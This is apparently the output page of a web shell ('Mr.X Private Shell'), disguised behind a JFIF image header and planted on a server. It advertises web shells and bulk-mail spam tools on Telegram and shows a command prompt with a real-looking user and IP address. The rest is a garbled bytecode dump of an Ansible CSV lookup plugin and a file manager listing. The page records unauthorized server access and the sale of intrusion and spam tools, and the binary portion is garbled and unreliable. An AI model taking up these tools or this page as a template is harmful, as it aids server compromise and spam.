����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

�)g��@s�ddlmZmZmZeZdZdZdZddl	Z	ddl
Z
ddlmZddl
mZmZddlmZdd	lmZdd
lmZddlmZmZmZGdd
�d
�ZGdd�d�ZGdd�de�ZdS)�)�absolute_import�division�print_functiona
    name: csvfile
    author: Jan-Piet Mens (@jpmens) <jpmens(at)gmail.com>
    version_added: "1.5"
    short_description: read data from a TSV or CSV file
    description:
      - The csvfile lookup reads the contents of a file in CSV (comma-separated value) format.
        The lookup looks for the row where the first column matches keyname (which can be multiple words)
        and returns the value in the C(col) column (default 1, which indexed from 0 means the second column in the file).
    options:
      col:
        description:  column to return (0 indexed).
        default: "1"
      default:
        description: what to return if the value is not found in the file.
      delimiter:
        description: field separator in the file, for a tab you can specify C(TAB) or C(\t).
        default: TAB
      file:
        description: name of the CSV/TSV file to open.
        default: ansible.csv
      encoding:
        description: Encoding (character set) of the used CSV file.
        default: utf-8
        version_added: "2.1"
    notes:
      - The default is for TSV files (tab delimited) not CSV (comma delimited) ... yes the name is misleading.
      - As of version 2.11, the search parameter (text that must match the first column of the file) and filename parameter can be multi-word.
      - For historical reasons, in the search keyname, quotes are treated
        literally and cannot be used around the string unless they appear
        (escaped as required) in the first column of the file you are parsing.
a�
- name:  Match 'Li' on the first column, return the second column (0 based index)
  ansible.builtin.debug: msg="The atomic number of Lithium is {{ lookup('ansible.builtin.csvfile', 'Li file=elements.csv delimiter=,') }}"

- name: msg="Match 'Li' on the first column, but return the 3rd column (columns start counting after the match)"
  ansible.builtin.debug: msg="The atomic mass of Lithium is {{ lookup('ansible.builtin.csvfile', 'Li file=elements.csv delimiter=, col=2') }}"

- name: Define Values From CSV File, this reads file in one go, but you could also use col= to read each in it's own lookup.
  ansible.builtin.set_fact:
    loop_ip: "{{ csvline[0] }}"
    int_ip: "{{ csvline[1] }}"
    int_mask: "{{ csvline[2] }}"
    int_name: "{{ csvline[3] }}"
    local_as: "{{ csvline[4] }}"
    neighbor_as: "{{ csvline[5] }}"
    neigh_int_ip: "{{ csvline[6] }}"
  vars:
    csvline = "{{ lookup('ansible.builtin.csvfile', bgp_neighbor_ip, file='bgp_neighbors.csv', delimiter=',') }}"
  delegate_to: localhost
zb
  _raw:
    description:
      - value(s) stored in file column
    type: list
    elements: str
N)�MutableSequence)�AnsibleError�AnsibleAssertionError)�parse_kv)�
LookupBase)�PY2)�to_bytes�	to_native�to_textc@s.eZdZdZd
dd�Zdd�Zdd�ZeZd	S)�
CSVRecoderzP
    Iterator that reads an encoded stream and reencodes the input to UTF-8
    �utf-8cCst�|�|�|_dS�N)�codecs�	getreader�reader)�self�f�encoding�r�B/usr/lib/python3.9/site-packages/ansible/plugins/lookup/csvfile.py�__init__UszCSVRecoder.__init__cCs|Srr�rrrr�__iter__XszCSVRecoder.__iter__cCst|j��d�S)Nr)�nextr�encoderrrr�__next__[szCSVRecoder.__next__N)r)�__name__�
__module__�__qualname__�__doc__rrrrrrrrrQs

rc@s4eZdZdZejdfdd�Zdd�ZeZdd�Z	d	S)
�	CSVReaderzu
    A CSV reader which will iterate over lines in the CSV file "f",
    which is encoded in the given encoding.
    rcKs:trt||�}nt�|�|�}tj|fd|i|��|_dS)N�dialect)r
rrr�csvr)rrr$r�kwdsrrrrgszCSVReader.__init__cCst|j�}dd�|D�S)NcSsg|]}t|��qSr)r
)�.0�srrr�
<listcomp>q�z&CSVReader.__next__.<locals>.<listcomp>)rr)r�rowrrrros
zCSVReader.__next__cCs|SrrrrrrruszCSVReader.__iter__N)
rr r!r"r%Zexcelrrrrrrrrr#as
r#c@s eZdZddd�Zd	dd�ZdS)
�LookupModulerN�c
Cs�zTtt|�d�}t|t|�|d�}|D]*}	t|	�r&|	d|kr&|	t|�WSq&Wn4ty�}
ztdt|
���WYd}
~
n
d}
~
00|S)N�rb)�	delimiterrrzcsvfile: %s)�openrr#r�len�int�	Exceptionr)r�filename�keyr/rZdflt�colrZcreaderr+�errr�read_csv{s&zLookupModule.read_csvcKs@g}|j||d�|��}|D�]}t|�}d|vr<td��|d}zD|��D]6\}	}
|	dkr`qN|	|vrttd|	��|��|
||	<qNWn0ttfy�}zt|��WYd}~n
d}~00|ddkr�d|d<|�	|d|d	�}|�
|||d|d
|d|d�}
|
durt|
t��r0|
D]}|�
|��qq|�
|
�q|S)
N)Zvar_optionsZdirectZ_raw_paramsz(Search key is required but was not foundz%s is not a valid optionr/ZTAB�	�files�filer�defaultr6)Zset_optionsZget_optionsrr�itemsrZ_deprecate_inline_kv�
ValueError�AssertionErrorZfind_file_in_search_pathr8�
isinstancer�append)rZtermsZ	variables�kwargs�retZ	paramvalsZtermZkvr5�name�valuer7Z
lookupfile�var�vrrr�run�s8
$zLookupModule.run)rNr-)N)rr r!r8rHrrrrr,ys
r,)Z
__future__rrr�typeZ
__metaclass__Z
DOCUMENTATIONZEXAMPLESZRETURNrr%�collections.abcrZansible.errorsrrZansible.parsing.splitterrZansible.plugins.lookupr	Zansible.module_utils.sixr
Zansible.module_utils._textrrr
rr#r,rrrr�<module>s!

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 4.03 KB 0644
__init__.cpython-39.pyc File 4.03 KB 0644
config.cpython-39.opt-1.pyc File 5.38 KB 0644
config.cpython-39.pyc File 5.38 KB 0644
csvfile.cpython-39.opt-1.pyc File 6.41 KB 0644
csvfile.cpython-39.pyc File 6.41 KB 0644
dict.cpython-39.opt-1.pyc File 2.22 KB 0644
dict.cpython-39.pyc File 2.22 KB 0644
env.cpython-39.opt-1.pyc File 2.82 KB 0644
env.cpython-39.pyc File 2.82 KB 0644
file.cpython-39.opt-1.pyc File 2.75 KB 0644
file.cpython-39.pyc File 2.75 KB 0644
fileglob.cpython-39.opt-1.pyc File 2.78 KB 0644
fileglob.cpython-39.pyc File 2.78 KB 0644
first_found.cpython-39.opt-1.pyc File 7.19 KB 0644
first_found.cpython-39.pyc File 7.19 KB 0644
indexed_items.cpython-39.opt-1.pyc File 1.81 KB 0644
indexed_items.cpython-39.pyc File 1.81 KB 0644
ini.cpython-39.opt-1.pyc File 6.21 KB 0644
ini.cpython-39.pyc File 6.21 KB 0644
inventory_hostnames.cpython-39.opt-1.pyc File 1.97 KB 0644
inventory_hostnames.cpython-39.pyc File 1.97 KB 0644
items.cpython-39.opt-1.pyc File 2.04 KB 0644
items.cpython-39.pyc File 2.04 KB 0644
lines.cpython-39.opt-1.pyc File 2.42 KB 0644
lines.cpython-39.pyc File 2.42 KB 0644
list.cpython-39.opt-1.pyc File 1.33 KB 0644
list.cpython-39.pyc File 1.33 KB 0644
nested.cpython-39.opt-1.pyc File 2.68 KB 0644
nested.cpython-39.pyc File 2.68 KB 0644
password.cpython-39.opt-1.pyc File 14.45 KB 0644
password.cpython-39.pyc File 14.45 KB 0644
pipe.cpython-39.opt-1.pyc File 2.64 KB 0644
pipe.cpython-39.pyc File 2.64 KB 0644
random_choice.cpython-39.opt-1.pyc File 1.73 KB 0644
random_choice.cpython-39.pyc File 1.73 KB 0644
sequence.cpython-39.opt-1.pyc File 7.66 KB 0644
sequence.cpython-39.pyc File 7.66 KB 0644
subelements.cpython-39.opt-1.pyc File 5.01 KB 0644
subelements.cpython-39.pyc File 5.01 KB 0644
template.cpython-39.opt-1.pyc File 5.12 KB 0644
template.cpython-39.pyc File 5.12 KB 0644
together.cpython-39.opt-1.pyc File 2.45 KB 0644
together.cpython-39.pyc File 2.45 KB 0644
unvault.cpython-39.opt-1.pyc File 1.99 KB 0644
unvault.cpython-39.pyc File 1.99 KB 0644
url.cpython-39.opt-1.pyc File 8.3 KB 0644
url.cpython-39.pyc File 8.3 KB 0644
varnames.cpython-39.opt-1.pyc File 2.4 KB 0644
varnames.cpython-39.pyc File 2.4 KB 0644
vars.cpython-39.opt-1.pyc File 3.26 KB 0644
vars.cpython-39.pyc File 3.26 KB 0644